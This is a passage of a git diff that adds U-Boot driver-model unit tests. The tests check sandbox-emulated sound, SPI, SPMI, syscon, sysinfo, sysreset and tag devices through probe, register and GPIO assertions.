+#include <dm.h>
+#include <sound.h>
+#include <dm/test.h>
+#include <test/ut.h>
+#include <test/test.h>
+#include <asm/test.h>
+
+/* Basic test of the sound codec uclass */
+static int dm_test_sound(struct unit_test_state *uts)
+{
+ struct sound_uc_priv *uc_priv;
+ struct udevice *dev;
+
+ /* check probe success */
+ ut_assertok(uclass_first_device_err(UCLASS_SOUND, &dev));
+ uc_priv = dev_get_uclass_priv(dev);
+ ut_asserteq_str("audio-codec", uc_priv->codec->name);
+ ut_asserteq_str("i2s", uc_priv->i2s->name);
+ ut_asserteq(0, sandbox_get_setup_called(dev));
+
+ ut_assertok(sound_beep(dev, 1, 100));
+ ut_asserteq(48, sandbox_get_sound_count(dev));
+ ut_asserteq(4560, sandbox_get_sound_sum(dev));
+ ut_assertok(sound_beep(dev, 1, 100));
+ ut_asserteq(96, sandbox_get_sound_count(dev));
+ ut_asserteq(9120, sandbox_get_sound_sum(dev));
+ ut_assertok(sound_beep(dev, 1, -100));
+ ut_asserteq(144, sandbox_get_sound_count(dev));
+ ut_asserteq(9120, sandbox_get_sound_sum(dev));
+ ut_assertok(sound_beep(dev, 1, 0));
+ ut_asserteq(192, sandbox_get_sound_count(dev));
+ ut_asserteq(9120, sandbox_get_sound_sum(dev));
+ ut_assertok(sound_beep(dev, 1, INT_MAX));
+ ut_asserteq(240, sandbox_get_sound_count(dev));
+ ut_asserteq(9120, sandbox_get_sound_sum(dev));
+ ut_asserteq(false, sandbox_get_sound_active(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_sound, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test of the 'start beep' operations */
+static int dm_test_sound_beep(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /* check probe success */
+ ut_assertok(uclass_first_device_err(UCLASS_SOUND, &dev));
+ ut_asserteq(-ENOSYS, sound_start_beep(dev, 100));
+ ut_asserteq(0, sandbox_get_beep_frequency(dev));
+
+ sandbox_set_allow_beep(dev, true);
+ ut_asserteq(0, sound_start_beep(dev, 100));
+ ut_asserteq(100, sandbox_get_beep_frequency(dev));
+
+ ut_asserteq(0, sound_stop_beep(dev));
+ ut_asserteq(0, sandbox_get_beep_frequency(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_sound_beep, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/spi.c b/test/dm/spi.c
new file mode 100644
index 00000000000..1ab2dd78324
--- /dev/null
+++ b/test/dm/spi.c
@@ -0,0 +1,202 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2013 Google, Inc
+ */
+
+#include <dm.h>
+#include <fdtdec.h>
+#include <spi.h>
+#include <spi_flash.h>
+#include <asm/state.h>
+#include <asm/test.h>
+#include <dm/device-internal.h>
+#include <dm/test.h>
+#include <dm/uclass-internal.h>
+#include <dm/util.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test that we can find buses and chip-selects */
+static int dm_test_spi_find(struct unit_test_state *uts)
+{
+ struct sandbox_state *state = state_get_current();
+ struct spi_slave *slave;
+ struct udevice *bus, *dev;
+ const int busnum = 0, cs = 0, mode = 0, speed = 1000000, cs_b = 2;
+ struct spi_cs_info info;
+ ofnode node;
+
+ /*
+ * The post_bind() method will bind devices to chip selects. Check
+ * this then remove the emulation and the slave device.
+ */
+ ut_asserteq(0, uclass_get_device_by_seq(UCLASS_SPI, busnum, &bus));
+ ut_assertok(spi_cs_info(bus, cs, &info));
+ node = dev_ofnode(info.dev);
+ device_remove(info.dev, DM_REMOVE_NORMAL);
+ device_unbind(info.dev);
+
+ /*
+ * Even though the device is gone, the sandbox SPI drivers always
+ * reports that CS 0 is present
+ */
+ ut_assertok(spi_cs_info(bus, cs, &info));
+ ut_asserteq_ptr(NULL, info.dev);
+
+ /* This finds nothing because we removed the device */
+ ut_asserteq(-ENODEV, spi_find_bus_and_cs(busnum, cs, &bus, &dev));
+ ut_asserteq(-ENODEV, spi_get_bus_and_cs(busnum, cs, &bus, &slave));
+
+ /*
+ * This forces the device to be re-added, but there is no emulation
+ * connected so the probe will fail. We require that bus is left
+ * alone on failure, and that the _spi_get_bus_and_cs() does not add
+ * a 'partially-inited' device.
+ */
+ ut_asserteq(-ENODEV, spi_find_bus_and_cs(busnum, cs, &bus, &dev));
+ ut_asserteq(-ENOENT, _spi_get_bus_and_cs(busnum, cs, speed, mode,
+ "jedec_spi_nor", "name", &bus,
+ &slave));
+ sandbox_sf_unbind_emul(state_get_current(), busnum, cs);
+ ut_assertok(spi_cs_info(bus, cs, &info));
+ ut_asserteq_ptr(NULL, info.dev);
+
+ /* Add the emulation and try again */
+ ut_assertok(sandbox_sf_bind_emul(state, busnum, cs, bus, node,
+ "name"));
+ ut_assertok(spi_find_bus_and_cs(busnum, cs, &bus, &dev));
+ ut_assertok(_spi_get_bus_and_cs(busnum, cs, speed, mode,
+ "jedec_spi_nor", "name", &bus, &slave));
+
+ ut_assertok(spi_cs_info(bus, cs, &info));
+ ut_asserteq_ptr(info.dev, slave->dev);
+
+ /* We should be able to add something to another chip select */
+ ut_assertok(sandbox_sf_bind_emul(state, busnum, cs_b, bus, node,
+ "name"));
+ ut_asserteq(-EINVAL, _spi_get_bus_and_cs(busnum, cs_b, speed, mode,
+ "jedec_spi_nor", "name", &bus,
+ &slave));
+ ut_asserteq(-EINVAL, spi_cs_info(bus, cs_b, &info));
+ ut_asserteq_ptr(NULL, info.dev);
+
+ /*
+ * Since we are about to destroy all devices, we must tell sandbox
+ * to forget the emulation device
+ */
+ sandbox_sf_unbind_emul(state_get_current(), busnum, cs);
+ sandbox_sf_unbind_emul(state_get_current(), busnum, cs_b);
+
+ return 0;
+}
+DM_TEST(dm_test_spi_find, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* dm_test_spi_switch_slaves - Helper function to check whether spi_claim_bus
+ * operates correctly with two spi slaves.
+ *
+ * Check that switching back and forth between two slaves claiming the bus
+ * will update dm_spi_bus->speed and sandbox_spi bus speed/mode correctly.
+ *
+ * @uts - unit test state
+ * @slave_a - first spi slave used for testing
+ * @slave_b - second spi slave used for testing
+ */
+static int dm_test_spi_switch_slaves(struct unit_test_state *uts,
+ struct spi_slave *slave_a,
+ struct spi_slave *slave_b)
+{
+ struct udevice *bus;
+ struct dm_spi_bus *bus_data;
+
+ /* Check that slaves are on the same bus */
+ ut_asserteq_ptr(dev_get_parent(slave_a->dev),
+ dev_get_parent(slave_b->dev));
+
+ bus = dev_get_parent(slave_a->dev);
+ bus_data = dev_get_uclass_priv(bus);
+
+ ut_assertok(spi_claim_bus(slave_a));
+ ut_asserteq(slave_a->max_hz, bus_data->speed);
+ ut_asserteq(slave_a->max_hz, sandbox_spi_get_speed(bus));
+ ut_asserteq(slave_a->mode, sandbox_spi_get_mode(bus));
+ spi_release_bus(slave_a);
+
+ ut_assertok(spi_claim_bus(slave_b));
+ ut_asserteq(slave_b->max_hz, bus_data->speed);
+ ut_asserteq(slave_b->max_hz, sandbox_spi_get_speed(bus));
+ ut_asserteq(slave_b->mode, sandbox_spi_get_mode(bus));
+ spi_release_bus(slave_b);
+
+ ut_assertok(spi_claim_bus(slave_a));
+ ut_asserteq(slave_a->max_hz, bus_data->speed);
+ ut_asserteq(slave_a->max_hz, sandbox_spi_get_speed(bus));
+ ut_asserteq(slave_a->mode, sandbox_spi_get_mode(bus));
+ spi_release_bus(slave_a);
+
+ return 0;
+}
+
+static int dm_test_spi_claim_bus(struct unit_test_state *uts)
+{
+ struct udevice *bus;
+ struct spi_slave *slave_a, *slave_b;
+ struct dm_spi_slave_plat *slave_plat;
+ const int busnum = 0, cs_a = 0, cs_b = 1;
+
+ /* Get spi slave on CS0 */
+ ut_assertok(spi_get_bus_and_cs(busnum, cs_a, &bus, &slave_a));
+ /* Get spi slave on CS1 */
+ ut_assertok(spi_get_bus_and_cs(busnum, cs_b, &bus, &slave_b));
+
+ /* Different max_hz, different mode. */
+ ut_assert(slave_a->max_hz != slave_b->max_hz);
+ ut_assert(slave_a->mode != slave_b->mode);
+ dm_test_spi_switch_slaves(uts, slave_a, slave_b);
+
+ /* Different max_hz, same mode. */
+ slave_a->mode = slave_b->mode;
+ dm_test_spi_switch_slaves(uts, slave_a, slave_b);
+
+ /*
+ * Same max_hz, different mode.
+ * Restore original mode for slave_a, from platdata.
+ */
+ slave_plat = dev_get_parent_plat(slave_a->dev);
+ slave_a->mode = slave_plat->mode;
+ slave_a->max_hz = slave_b->max_hz;
+ dm_test_spi_switch_slaves(uts, slave_a, slave_b);
+
+ return 0;
+}
+DM_TEST(dm_test_spi_claim_bus, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that sandbox SPI works correctly */
+static int dm_test_spi_xfer(struct unit_test_state *uts)
+{
+ struct spi_slave *slave;
+ struct udevice *bus;
+ const int busnum = 0, cs = 0;
+ const char dout[5] = {0x9f};
+ unsigned char din[5];
+
+ ut_assertok(spi_get_bus_and_cs(busnum, cs, &bus, &slave));
+ ut_assertok(spi_claim_bus(slave));
+ ut_assertok(spi_xfer(slave, 40, dout, din,
+ SPI_XFER_BEGIN | SPI_XFER_END));
+ ut_asserteq(0xff, din[0]);
+ ut_asserteq(0x20, din[1]);
+ ut_asserteq(0x20, din[2]);
+ ut_asserteq(0x15, din[3]);
+ spi_release_bus(slave);
+
+ /*
+ * Since we are about to destroy all devices, we must tell sandbox
+ * to forget the emulation device
+ */
+#if CONFIG_IS_ENABLED(DM_SPI_FLASH)
+ sandbox_sf_unbind_emul(state_get_current(), busnum, cs);
+#endif
+
+ return 0;
+}
+DM_TEST(dm_test_spi_xfer, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/spmi.c b/test/dm/spmi.c
new file mode 100644
index 00000000000..e10ae8db4d3
--- /dev/null
+++ b/test/dm/spmi.c
@@ -0,0 +1,112 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2015 Mateusz Kulikowski <mateusz.kulikowski@gmail.com>
+ */
+
+#include <fdtdec.h>
+#include <dm.h>
+#include <malloc.h>
+#include <dm/device.h>
+#include <dm/root.h>
+#include <dm/test.h>
+#include <dm/util.h>
+#include <power/pmic.h>
+#include <spmi/spmi.h>
+#include <asm/gpio.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test if bus children got probed properly*/
+static int dm_test_spmi_probe(struct unit_test_state *uts)
+{
+ const char *name = "spmi@0";
+ struct udevice *bus, *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_SPMI, 0, &bus));
+
+ /* Check bus name */
+ ut_asserteq_str(name, bus->name);
+
+ /* Check that it has some devices */
+ ut_asserteq(device_has_children(bus), true);
+
+ ut_assertok(device_find_first_child(bus, &dev));
+
+ /* There should be at least one child */
+ ut_assertnonnull(dev);
+
+ /* Check that only PMICs are connected to the bus */
+ while (dev) {
+ ut_asserteq(device_get_uclass_id(dev), UCLASS_PMIC);
+ device_find_next_child(&dev);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_spmi_probe, UT_TESTF_SCAN_FDT);
+
+/* Test if it's possible to read bus directly and indirectly */
+static int dm_test_spmi_access(struct unit_test_state *uts)
+{
+ const char *pmic_name = "pm8916@0";
+ struct udevice *bus, *pmic;
+
+ ut_assertok(uclass_get_device(UCLASS_SPMI, 0, &bus));
+
+ ut_assertok(device_get_child(bus, 0, &pmic));
+
+ /* Sanity check if it's proper PMIC */
+ ut_asserteq_str(pmic_name, pmic->name);
+
+ /* Read PMIC ID reg using SPMI bus - it assumes it has slaveID == 0*/
+ ut_asserteq(spmi_reg_read(bus, 0, 0xC0, 0x4), 0x10);
+ ut_asserteq(spmi_reg_read(bus, 0, 0xC0, 0x5), 0x5);
+
+ /* Read ID reg via pmic interface */
+ ut_asserteq(pmic_reg_read(pmic, 0xC004), 0x10);
+ ut_asserteq(pmic_reg_read(pmic, 0xC005), 0x5);
+
+ return 0;
+}
+DM_TEST(dm_test_spmi_access, UT_TESTF_SCAN_FDT);
+
+
+/* Test if it's possible to access GPIO that should be in pmic */
+static int dm_test_spmi_access_peripheral(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ unsigned int offset, gpio;
+ const char *name;
+ int offset_count;
+
+ /* Get second pin of PMIC GPIO */
+ ut_assertok(gpio_lookup_name("pmic1", &dev, &offset, &gpio));
+
+ /* Check if PMIC is parent */
+ ut_asserteq(device_get_uclass_id(dev->parent), UCLASS_PMIC);
+
+ /* This should be second gpio */
+ ut_asserteq(1, offset);
+
+ name = gpio_get_bank_info(dev, &offset_count);
+
+ /* Check bank name */
+ ut_asserteq_str("pmic", name);
+ /* Check pin count */
+ ut_asserteq(4, offset_count);
+
+ ut_assertok(gpio_request(gpio, "testing"));
+
+ /* Try to set/clear gpio */
+ ut_assertok(gpio_direction_output(gpio, 0));
+ ut_asserteq(gpio_get_value(gpio), 0);
+ ut_assertok(gpio_direction_output(gpio, 1));
+ ut_asserteq(gpio_get_value(gpio), 1);
+ ut_assertok(gpio_direction_input(gpio));
+ ut_asserteq(gpio_get_value(gpio), 1);
+
+ ut_assertok(gpio_free(gpio));
+
+ return 0;
+}
+DM_TEST(dm_test_spmi_access_peripheral, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/syscon-reset.c b/test/dm/syscon-reset.c
new file mode 100644
index 00000000000..ba19504573f
--- /dev/null
+++ b/test/dm/syscon-reset.c
@@ -0,0 +1,58 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2020 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <dm.h>
+#include <dm/test.h>
+#include <regmap.h>
+#include <reset.h>
+#include <syscon.h>
+#include <test/ut.h>
+#include <asm/test.h>
+#include <linux/bitops.h>
+
+/* The following values must match the device tree */
+#define TEST_RESET_REG 1
+#define TEST_RESET_ASSERT_HIGH 0
+#define TEST_RESET_ASSERT (TEST_RESET_ASSERT_HIGH ? (u32)-1 : (u32)0)
+#define TEST_RESET_DEASSERT (~TEST_RESET_ASSERT)
+
+#define TEST_RESET_VALID 15
+#define TEST_RESET_NOMASK 30
+#define TEST_RESET_OUTOFRANGE 60
+
+static int dm_test_syscon_reset(struct unit_test_state *uts)
+{
+ struct regmap *map;
+ struct reset_ctl rst;
+ struct udevice *reset;
+ struct udevice *syscon;
+ struct udevice *syscon_reset;
+ uint reg;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_MISC, "syscon-reset-test",
+ &reset));
+ ut_assertok(uclass_get_device_by_name(UCLASS_SYSCON, "syscon@0",
+ &syscon));
+ ut_assertok(uclass_get_device_by_name(UCLASS_RESET, "syscon-reset",
+ &syscon_reset));
+ ut_assertok_ptr((map = syscon_get_regmap(syscon)));
+
+ ut_asserteq(-EINVAL, reset_get_by_name(reset, "no_mask", &rst));
+ ut_asserteq(-EINVAL, reset_get_by_name(reset, "out_of_range", &rst));
+ ut_assertok(reset_get_by_name(reset, "valid", &rst));
+
+ sandbox_set_enable_memio(true);
+ ut_assertok(regmap_write(map, TEST_RESET_REG, TEST_RESET_DEASSERT));
+ ut_assertok(reset_assert(&rst));
+ ut_assertok(regmap_read(map, TEST_RESET_REG, &reg));
+ ut_asserteq(TEST_RESET_DEASSERT ^ BIT(TEST_RESET_VALID), reg);
+
+ ut_assertok(reset_deassert(&rst));
+ ut_assertok(regmap_read(map, TEST_RESET_REG, &reg));
+ ut_asserteq(TEST_RESET_DEASSERT, reg);
+
+ return 0;
+}
+DM_TEST(dm_test_syscon_reset, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/syscon.c b/test/dm/syscon.c
new file mode 100644
index 00000000000..04d324e87d4
--- /dev/null
+++ b/test/dm/syscon.c
@@ -0,0 +1,83 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <dm.h>
+#include <log.h>
+#include <syscon.h>
+#include <regmap.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <linux/err.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Base test of system controllers */
+static int dm_test_syscon_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(uclass_get_device(UCLASS_SYSCON, 0, &dev));
+ ut_asserteq(SYSCON0, dev->driver_data);
+
+ ut_assertok(uclass_get_device(UCLASS_SYSCON, 1, &dev));
+ ut_asserteq(SYSCON1, dev->driver_data);
+
+ ut_asserteq(-ENODEV, uclass_get_device(UCLASS_SYSCON, 2, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_syscon_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test system controller finding */
+static int dm_test_syscon_by_driver_data(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(syscon_get_by_driver_data(SYSCON0, &dev));
+ ut_asserteq(SYSCON0, dev->driver_data);
+
+ ut_assertok(syscon_get_by_driver_data(SYSCON1, &dev));
+ ut_asserteq(SYSCON1, dev->driver_data);
+
+ ut_asserteq(-ENODEV, syscon_get_by_driver_data(2, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_syscon_by_driver_data, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test system controller by phandle */
+static int dm_test_syscon_by_phandle(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct regmap *map;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_TEST_PROBE, "test4",
+ &dev));
+
+ ut_assertok_ptr(syscon_regmap_lookup_by_phandle(dev, "first-syscon"));
+ map = syscon_regmap_lookup_by_phandle(dev, "first-syscon");
+ ut_assert(map);
+ ut_assert(!IS_ERR(map));
+ ut_asserteq(1, map->range_count);
+
+ ut_assertok_ptr(syscon_regmap_lookup_by_phandle(dev,
+ "second-sys-ctrl"));
+ map = syscon_regmap_lookup_by_phandle(dev, "second-sys-ctrl");
+ ut_assert(map);
+ ut_assert(!IS_ERR(map));
+ ut_asserteq(4, map->range_count);
+
+ ut_assertok_ptr(syscon_regmap_lookup_by_phandle(dev,
+ "third-syscon"));
+ map = syscon_regmap_lookup_by_phandle(dev, "third-syscon");
+ ut_assert(map);
+ ut_assert(!IS_ERR(map));
+ ut_asserteq(4, map->range_count);
+
+ ut_assert(IS_ERR(syscon_regmap_lookup_by_phandle(dev, "not-present")));
+
+ return 0;
+}
+DM_TEST(dm_test_syscon_by_phandle, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/sysinfo-gpio.c b/test/dm/sysinfo-gpio.c
new file mode 100644
index 00000000000..24a99dafb15
--- /dev/null
+++ b/test/dm/sysinfo-gpio.c
@@ -0,0 +1,68 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2021 Sean Anderson <sean.anderson@seco.com>
+ */
+
+#include <dm.h>
+#include <log.h>
+#include <sysinfo.h>
+#include <asm/gpio.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+static int dm_test_sysinfo_gpio(struct unit_test_state *uts)
+{
+ char buf[64];
+ int val;
+ struct udevice *sysinfo, *gpio;
+
+ ut_assertok(uclass_get_device_by_name(UCLASS_SYSINFO, "sysinfo-gpio",
+ &sysinfo));
+ ut_assertok(uclass_get_device_by_name(UCLASS_GPIO, "base-gpios", &gpio));
+
+ /*
+ * Set up pins: pull-up (1), pull-down (0) and floating (2). This should
+ * result in digits 2 0 1, i.e. 2 * 9 + 1 * 3 = 19
+ */
+ sandbox_gpio_set_flags(gpio, 15, GPIOD_EXT_PULL_UP);
+ sandbox_gpio_set_flags(gpio, 16, GPIOD_EXT_PULL_DOWN);
+ sandbox_gpio_set_flags(gpio, 17, 0);
+ ut_assertok(sysinfo_detect(sysinfo));
+ ut_assertok(sysinfo_get_int(sysinfo, SYSINFO_ID_BOARD_MODEL, &val));
+ ut_asserteq(19, val);
+ ut_assertok(sysinfo_get_str(sysinfo, SYSINFO_ID_BOARD_MODEL, sizeof(buf),
+ buf));
+ ut_asserteq_str("rev_a", buf);
+
+ /*
+ * Set up pins: floating (2), pull-up (1) and pull-down (0). This should
+ * result in digits 0 1 2, i.e. 1 * 3 + 2 = 5
+ */
+ sandbox_gpio_set_flags(gpio, 15, 0);
+ sandbox_gpio_set_flags(gpio, 16, GPIOD_EXT_PULL_UP);
+ sandbox_gpio_set_flags(gpio, 17, GPIOD_EXT_PULL_DOWN);
+ ut_assertok(sysinfo_detect(sysinfo));
+ ut_assertok(sysinfo_get_int(sysinfo, SYSINFO_ID_BOARD_MODEL, &val));
+ ut_asserteq(5, val);
+ ut_assertok(sysinfo_get_str(sysinfo, SYSINFO_ID_BOARD_MODEL, sizeof(buf),
+ buf));
+ ut_asserteq_str("foo", buf);
+
+ /*
+ * Set up pins: floating (2), pull-up (1) and pull-down (0). This should
+ * result in digits 1 2 0, i.e. 1 * 9 + 2 * 3 = 15
+ */
+ sandbox_gpio_set_flags(gpio, 15, GPIOD_EXT_PULL_DOWN);
+ sandbox_gpio_set_flags(gpio, 16, 0);
+ sandbox_gpio_set_flags(gpio, 17, GPIOD_EXT_PULL_UP);
+ ut_assertok(sysinfo_detect(sysinfo));
+ ut_assertok(sysinfo_get_int(sysinfo, SYSINFO_ID_BOARD_MODEL, &val));
+ ut_asserteq(15, val);
+ ut_assertok(sysinfo_get_str(sysinfo, SYSINFO_ID_BOARD_MODEL, sizeof(buf),
+ buf));
+ ut_asserteq_str("unknown", buf);
+
+ return 0;
+}
+DM_TEST(dm_test_sysinfo_gpio, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/sysinfo.c b/test/dm/sysinfo.c
new file mode 100644
index 00000000000..7444a580df6
--- /dev/null
+++ b/test/dm/sysinfo.c
@@ -0,0 +1,63 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * (C) Copyright 2018
+ * Mario Six, Guntermann & Drunck GmbH, mario.six@gdsys.cc
+ */
+
+#include <dm.h>
+#include <log.h>
+#include <dm/test.h>
+#include <sysinfo.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+#include "../../drivers/sysinfo/sandbox.h"
+
+static int dm_test_sysinfo(struct unit_test_state *uts)
+{
+ struct udevice *sysinfo;
+ bool called_detect = false;
+ char str[64];
+ int i;
+
+ ut_assertok(sysinfo_get(&sysinfo));
+ ut_assert(sysinfo);
+
+ ut_asserteq(-EPERM, sysinfo_get_bool(sysinfo, BOOL_CALLED_DETECT,
+ &called_detect));
+ ut_assert(!called_detect);
+
+ sysinfo_detect(sysinfo);
+
+ ut_assertok(sysinfo_get_bool(sysinfo, BOOL_CALLED_DETECT,
+ &called_detect));
+ ut_assert(called_detect);
+
+ ut_assertok(sysinfo_get_str(sysinfo, STR_VACATIONSPOT, sizeof(str),
+ str));
+ ut_assertok(strcmp(str, "R'lyeh"));
+
+ ut_assertok(sysinfo_get_int(sysinfo, INT_TEST1, &i));
+ ut_asserteq(0, i);
+
+ ut_assertok(sysinfo_get_int(sysinfo, INT_TEST2, &i));
+ ut_asserteq(100, i);
+
+ ut_assertok(sysinfo_get_str(sysinfo, STR_VACATIONSPOT, sizeof(str),
+ str));
+ ut_assertok(strcmp(str, "Carcosa"));
+
+ ut_assertok(sysinfo_get_int(sysinfo, INT_TEST1, &i));
+ ut_asserteq(1, i);
+
+ ut_assertok(sysinfo_get_int(sysinfo, INT_TEST2, &i));
+ ut_asserteq(99, i);
+
+ ut_assertok(sysinfo_get_str(sysinfo, STR_VACATIONSPOT, sizeof(str),
+ str));
+ ut_assertok(strcmp(str, "Yuggoth"));
+
+ return 0;
+}
+
+DM_TEST(dm_test_sysinfo, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/sysreset.c b/test/dm/sysreset.c
new file mode 100644
index 00000000000..f3a859be787
--- /dev/null
+++ b/test/dm/sysreset.c
@@ -0,0 +1,117 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2015 Google, Inc
+ */
+
+#include <dm.h>
+#include <sysreset.h>
+#include <asm/state.h>
+#include <asm/test.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* Test that we can use particular sysreset devices */
+static int dm_test_sysreset_base(struct unit_test_state *uts)
+{
+ struct sandbox_state *state = state_get_current();
+ struct udevice *dev;
+
+ /* Device 0 is the platform data device - it should never respond */
+ ut_assertok(uclass_get_device(UCLASS_SYSRESET, 0, &dev));
+ ut_asserteq(-ENODEV, sysreset_request(dev, SYSRESET_WARM));
+ ut_asserteq(-ENODEV, sysreset_request(dev, SYSRESET_COLD));
+ ut_asserteq(-ENODEV, sysreset_request(dev, SYSRESET_POWER));
+
+ /* Device 1 is the warm sysreset device */
+ ut_assertok(uclass_get_device(UCLASS_SYSRESET, 1, &dev));
+ ut_asserteq(-EACCES, sysreset_request(dev, SYSRESET_WARM));
+ ut_asserteq(-EPROTONOSUPPORT, sysreset_request(dev, SYSRESET_COLD));
+ ut_asserteq(-EPROTONOSUPPORT, sysreset_request(dev, SYSRESET_POWER));
+
+ state->sysreset_allowed[SYSRESET_WARM] = true;
+ ut_asserteq(-EINPROGRESS, sysreset_request(dev, SYSRESET_WARM));
+ state->sysreset_allowed[SYSRESET_WARM] = false;
+
+ /* Device 2 is the cold sysreset device */
+ ut_assertok(uclass_get_device(UCLASS_SYSRESET, 2, &dev));
+ ut_asserteq(-EPROTONOSUPPORT, sysreset_request(dev, SYSRESET_WARM));
+ state->sysreset_allowed[SYSRESET_COLD] = false;
+ ut_asserteq(-EACCES, sysreset_request(dev, SYSRESET_COLD));
+ state->sysreset_allowed[SYSRESET_COLD] = true;
+ state->sysreset_allowed[SYSRESET_POWER] = false;
+ ut_asserteq(-EACCES, sysreset_request(dev, SYSRESET_POWER));
+ state->sysreset_allowed[SYSRESET_POWER] = true;
+
+ return 0;
+}
+DM_TEST(dm_test_sysreset_base, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_sysreset_get_status(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ char msg[64];
+
+ /* Device 1 is the warm sysreset device */
+ ut_assertok(uclass_get_device(UCLASS_SYSRESET, 1, &dev));
+ ut_assertok(sysreset_get_status(dev, msg, sizeof(msg)));
+ ut_asserteq_str("Reset Status: WARM", msg);
+
+ /* Device 2 is the cold sysreset device */
+ ut_assertok(uclass_get_device(UCLASS_SYSRESET, 2, &dev));
+ ut_assertok(sysreset_get_status(dev, msg, sizeof(msg)));
+ ut_asserteq_str("Reset Status: COLD", msg);
+
+ return 0;
+}
+DM_TEST(dm_test_sysreset_get_status, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we can walk through the sysreset devices */
+static int dm_test_sysreset_walk(struct unit_test_state *uts)
+{
+ struct sandbox_state *state = state_get_current();
+
+ /* If we generate a power sysreset, we will exit sandbox! */
+ state->sysreset_allowed[SYSRESET_WARM] = false;
+ state->sysreset_allowed[SYSRESET_COLD] = false;
+ state->sysreset_allowed[SYSRESET_POWER] = false;
+ state->sysreset_allowed[SYSRESET_POWER_OFF] = false;
+ ut_asserteq(-EACCES, sysreset_walk(SYSRESET_WARM));
+ ut_asserteq(-EACCES, sysreset_walk(SYSRESET_COLD));
+ ut_asserteq(-EACCES, sysreset_walk(SYSRESET_POWER));
+ ut_asserteq(-EACCES, sysreset_walk(SYSRESET_POWER_OFF));
+
+ /*
+ * Enable cold system reset - this should make cold system reset work,
+ * plus a warm system reset should be promoted to cold, since this is
+ * the next step along.
+ */
+ state->sysreset_allowed[SYSRESET_WARM] = true;
+ ut_asserteq(-EINPROGRESS, sysreset_walk(SYSRESET_WARM));
+ ut_asserteq(-EACCES, sysreset_walk(SYSRESET_COLD));
+ ut_asserteq(-EACCES, sysreset_walk(SYSRESET_POWER));
+ state->sysreset_allowed[SYSRESET_COLD] = true;
+ state->sysreset_allowed[SYSRESET_POWER] = true;
+
+ return 0;
+}
+DM_TEST(dm_test_sysreset_walk, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_sysreset_get_last(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /* Device 1 is the warm sysreset device */
+ ut_assertok(uclass_get_device(UCLASS_SYSRESET, 1, &dev));
+ ut_asserteq(SYSRESET_WARM, sysreset_get_last(dev));
+
+ /* Device 2 is the cold sysreset device */
+ ut_assertok(uclass_get_device(UCLASS_SYSRESET, 2, &dev));
+ ut_asserteq(SYSRESET_POWER, sysreset_get_last(dev));
+
+ /* This is device 0, the non-DT one */
+ ut_asserteq(SYSRESET_POWER, sysreset_get_last_walk());
+
+ return 0;
+}
+DM_TEST(dm_test_sysreset_get_last, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
diff --git a/test/dm/tag.c b/test/dm/tag.c
new file mode 100644
index 00000000000..bce8a35acfb
--- /dev/null
+++ b/test/dm/tag.c
@@ -0,0 +1,83 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * DM tag test
+ *
+ * Copyright (c) 2021 Linaro Limited
+ * Author: AKASHI Takahiro
+ */
+
+#include <dm/tag.h>
+#include <dm/test.h> /* DM_TEST() */
+#include <test/test.h> /* struct unit_test_state */
+#include <test/ut.h> /* assertions */
+
+/*
+ * Test dm_tag_ptr() API
+ */
+static int dm_test_tag_ptr(struct unit_test_state *uts)
+{
+ ulong val;
+ void *ptr = NULL;
+
+ ut_assertok(dev_tag_set_ptr(uts->root, DM_TAG_EFI, &val));
+
+ ut_assertok(dev_tag_get_ptr(uts->root, DM_TAG_EFI, &ptr));
+
